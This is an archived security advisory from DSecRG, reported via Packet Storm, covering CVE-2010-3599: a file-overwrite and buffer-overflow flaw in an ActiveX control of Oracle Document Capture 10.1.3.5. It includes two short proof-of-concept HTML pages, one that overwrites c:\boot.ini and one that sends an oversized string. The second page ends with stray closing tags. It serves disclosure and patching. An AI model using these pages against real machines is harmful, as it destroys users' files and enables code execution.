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Oracle Document Capture 10.1.3.5 Insecure Method / Buffer Overflow

🗓️ 26 Jan 2011 00:00:00Reported by Sh2kerrType 
packetstorm
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Oracle Document Capture 10.1.3.5 Insecure Method / Buffer Overflow. ActiveX component contains insecure method WriteJPG, allowing file overwrite and buffer overflow

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`ActiveX components contain insecure methods.  
  
Digital Security Research Group [DSecRG] Advisory DSECRG-11-006 (internal #DSECRG-09-066)   
  
  
Application: Oracle Document Capture   
Versions Affected: Oracle Document Capture 10.1.3.5  
Vendor URL: http://oracle.com  
Bugs: Insecure method. Buffer overflow.  
Exploits: YES  
Reported: 14.12.2009  
Vendor response: 15.12.2009  
Date of Public Advisory: 24.01.2011  
CVE: CVE-2010-3599  
Author: Alexandr Polyakov from DSecRG   
  
Description  
***********  
  
Insecure method was founded in NCSECWLib ActiveX control component which is a part of Oracle Document Capture .  
One of the methods (WriteJPG) can be used to overwrite files on users system and also affected to buffer overflow.  
  
  
  
  
Details  
*******  
  
Attacker can construct html page which call vulnerable function "WriteJPG" from ActiveX Object NCSECWLib.  
  
Example 1 (file overwrite)  
*******   
  
  
<html>  
<script>  
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"  
prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )"  
memberName = "WriteJPG"  
progid = "NCSECWLib.NCSRenderer"  
argCount = 3  
  
arg1="c:\boot.ini"  
arg2=1  
arg3=True  
  
target.WriteJPG arg1 ,arg2 ,arg3   
  
</script>  
</html>  
  
  
Example 2  
*******  
  
<html>  
<script>  
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"  
prototype = "Sub WriteJPG ( ByVal OutputFile As String , ByVal Quality As Long , ByVal bWriteWorldFile As Boolean )"  
memberName = "WriteJPG"  
progid = "NCSECWLib.NCSRenderer"  
argCount = 3  
  
arg1=String(13332, "A")  
arg2=1  
arg3=True  
  
target.WriteJPG arg1 ,arg2 ,arg3   
  
</script></job></package>  
  
  
References  
**********  
  
http://dsecrg.com/pages/vul/show.php?id=306  
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html  
  
  
  
  
Fix Information  
*************  
  
Information was published in CPU Jan 2011.  
All customers can download CPU patches following instructions from:   
  
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html  
  
  
About  
*****  
  
Digital Security:   
  
Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.  
  
Digital Security Research Group:  
  
International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
http://www.erpscan.com  
  
  
  
Polyakov Alexandr. PCI QSA,PA-QSA  
CTO Digital Security  
Head of DSecRG  
______________________  
DIGITAL SECURITY  
phone: +7 812 703 1547  
+7 812 430 9130  
e-mail: [email protected]   
  
www.dsec.ru  
www.dsecrg.com www.dsecrg.ru  
www.erpscan.com www.erpscan.ru  
www.pcidssru.com www.pcidss.ru  
  
  
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